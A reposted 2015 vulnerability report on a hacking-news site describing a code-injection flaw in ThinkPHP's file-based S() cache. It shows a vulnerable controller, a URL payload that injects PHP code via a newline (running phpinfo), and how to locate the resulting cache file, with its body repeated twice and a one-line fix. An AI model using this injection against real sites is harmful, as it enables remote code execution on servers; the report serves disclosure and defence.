记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

ThinkPHP某处设计缺陷可导致getshell

2015-06-16 03:40

thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。

code 区域
<?php

namespace Home\Controller;

use Think\Controller;



class IndexController extends Controller {

public function index(){

if (!S('aaaaa')) {

S('aaaaa',$_GET['w']);

echo 'cache ok';

}



}

}

?>



判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。

浏览器中访问

code 区域
http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;//



QQ20150316-1.png



缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5.



QQ20150316-2.png



成功执行phpinfo

QQ20150316-3.png





漏洞证明:

thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。

code 区域
<?php

namespace Home\Controller;

use Think\Controller;



class IndexController extends Controller {

public function index(){

if (!S('aaaaa')) {

S('aaaaa',$_GET['w']);

echo 'cache ok';

}



}

}

?>



判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。

浏览器中访问

code 区域
http://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;//



QQ20150316-1.png



缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5.



QQ20150316-2.png



成功执行phpinfo

QQ20150316-3.png





修复方案:

设置缓存文件的访问权限

知识来源: www.wooyun.org/bugs/wooyun-2015-0101728

阅读:91256 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“ThinkPHP某处设计缺陷可导致getshell”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云